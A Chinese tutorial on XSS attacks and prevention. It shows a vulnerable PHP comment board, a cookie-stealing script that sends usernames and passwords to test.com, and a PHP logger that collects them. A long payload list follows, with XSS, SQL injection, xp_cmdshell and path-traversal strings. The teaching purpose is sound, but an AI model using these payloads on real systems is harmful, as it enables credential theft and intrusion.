跨站腳本攻擊XSS原理與防范實(shí)例分析
本文實(shí)例講述了跨站腳本攻擊XSS原理與防范。分享給大家供大家參考,具體如下:
跨站腳本攻擊(Cross Site Script為了區(qū)別于CSS簡(jiǎn)稱為XSS)指的是惡意攻擊者往Web頁(yè)面里插入惡意html代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。
一個(gè)簡(jiǎn)單的留言板
我們有個(gè)頁(yè)面用于允許用戶發(fā)表留言,然后在頁(yè)面底部顯示留言列表
<!DOCTYPE html> <html> <head> <?php include('/components/headerinclude.php');?></head> <style type="text/css"> .comment-title{ font-size:14px; margin: 6px 0px 2px 4px; } .comment-body{ font-size: 14px; color:#ccc; font-style: italic; border-bottom: dashed 1px #ccc; margin: 4px; } </style> <script type="text/javascript" src="/js/cookies.js"></script> <body> <form method="post" action="list.php"> <div style="margin:20px;"> <div style="font-size:16px;font-weight:bold;">Your Comment</div> <div style="padding:6px;"> Nick Name: <br/> <input name="name" type="text" style="width:300px;"/> </div> <div style="padding:6px;"> Comment: <br/> <textarea name="comment" style="height:100px; width:300px;"></textarea> </div> <div style="padding-left:230px;"> <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/> </div> <div style="border-bottom:solid 1px #fff;margin-top:10px;"> <div style="font-size:16px;font-weight:bold;">Comments</div> </div> <?php require('/components/comments.php'); if(!empty($_POST['name'])){ addElement($_POST['name'],$_POST['comment']); } renderComments(); ?> </div> </form> </body> </html>
addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,網(wǎng)頁(yè)看起來(lái)是這樣的
XSS
因?yàn)槲覀兺耆湃瘟擞脩糨斎?,但有些別有用心的用戶會(huì)像這樣的輸入
這樣無(wú)論是誰(shuí)訪問這個(gè)頁(yè)面的時(shí)候控制臺(tái)都會(huì)輸出“Hey you are a fool fish!”,如果這只是個(gè)惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會(huì)利用這個(gè)漏洞竊取用戶信息、誘騙人打開惡意網(wǎng)站或者下載惡意程序等,看個(gè)最簡(jiǎn)單的例子
利用xss竊取用戶名密碼
當(dāng)然這個(gè)示例很簡(jiǎn)單,幾乎攻擊不到任何網(wǎng)站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網(wǎng)站是直接用明文記錄用戶名、密碼,惡意用戶注冊(cè)賬戶登錄后使用簡(jiǎn)單工具查看cookie結(jié)構(gòu)名稱后,如果網(wǎng)站有xss漏洞,那么簡(jiǎn)單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。
惡意用戶會(huì)這么輸入
我們看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
幾句簡(jiǎn)單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php
發(fā)送了一個(gè)get請(qǐng)求
http://test.com/index.php
<?php if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
這樣惡意用戶就把訪問留言板的用戶的信息竊取了
怎么預(yù)防
上面演示的是一個(gè)非常簡(jiǎn)單的XSS攻擊,還有很多隱蔽的方式,但是其核心都是利用了腳本注入,因此我們解決辦法其實(shí)很簡(jiǎn)單,不信賴用戶輸入,對(duì)特殊字符如”<”,”>”轉(zhuǎn)義,就可以從根本上防止這一問題,當(dāng)然很多解決方案都對(duì)XSS做了特定限制,如上面這中做法在ASP.NET中不幸不同,微軟validateRequest對(duì)表單提交自動(dòng)做了XSS驗(yàn)證。但防不勝防,總有些聰明的惡意用戶會(huì)到我們的網(wǎng)站搞破壞,對(duì)自己站點(diǎn)不放心可以看看下面這個(gè)XSS跨站測(cè)試代碼大全試試站點(diǎn)是否安全:
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');" rel="external nofollow" >
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[ code]">
<IMG src="livescript:[ code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//" rel="external nofollow" >
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code ]
希望本文所述對(duì)大家網(wǎng)絡(luò)安全與維護(hù)有所幫助。
相關(guān)文章
防止絕大部份網(wǎng)頁(yè)病毒的經(jīng)典方法
防止絕大部份網(wǎng)頁(yè)病毒的經(jīng)典方法...2007-02-02無(wú)線網(wǎng)攻擊工具進(jìn)攻方法及防范技巧小結(jié)
對(duì)無(wú)線網(wǎng)安全攻防有興趣的人應(yīng)該都需要一套工具,英特網(wǎng)上有很多免費(fèi)的工具。本文不求全面,但求能提供一些指導(dǎo)和建議。2008-02-02Web網(wǎng)絡(luò)安全分析Base64注入攻擊原理詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全分析Base64注入攻擊原理詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11網(wǎng)站存在啊D注入工具的SQL注入點(diǎn)的修復(fù)方法
我的網(wǎng)站還有我給老師做的單片機(jī)網(wǎng)站相繼被黑,從他那得知,他用的是“啊D注入工具”,先找我的網(wǎng)站是否存在可注入點(diǎn),如果有,進(jìn)行注入,能夠破解得到后臺(tái)密碼2012-12-12超級(jí)震撼 讓我們來(lái)看看Skype有多危險(xiǎn)
超級(jí)震撼 讓我們來(lái)看看Skype有多危險(xiǎn)...2007-03-03Web網(wǎng)絡(luò)安全漏洞分析XSS常用語(yǔ)句及編碼繞過詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全漏洞分析XSS常用語(yǔ)句及編碼繞過詳解,有需要的朋友可以借鑒參考下希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪2021-11-11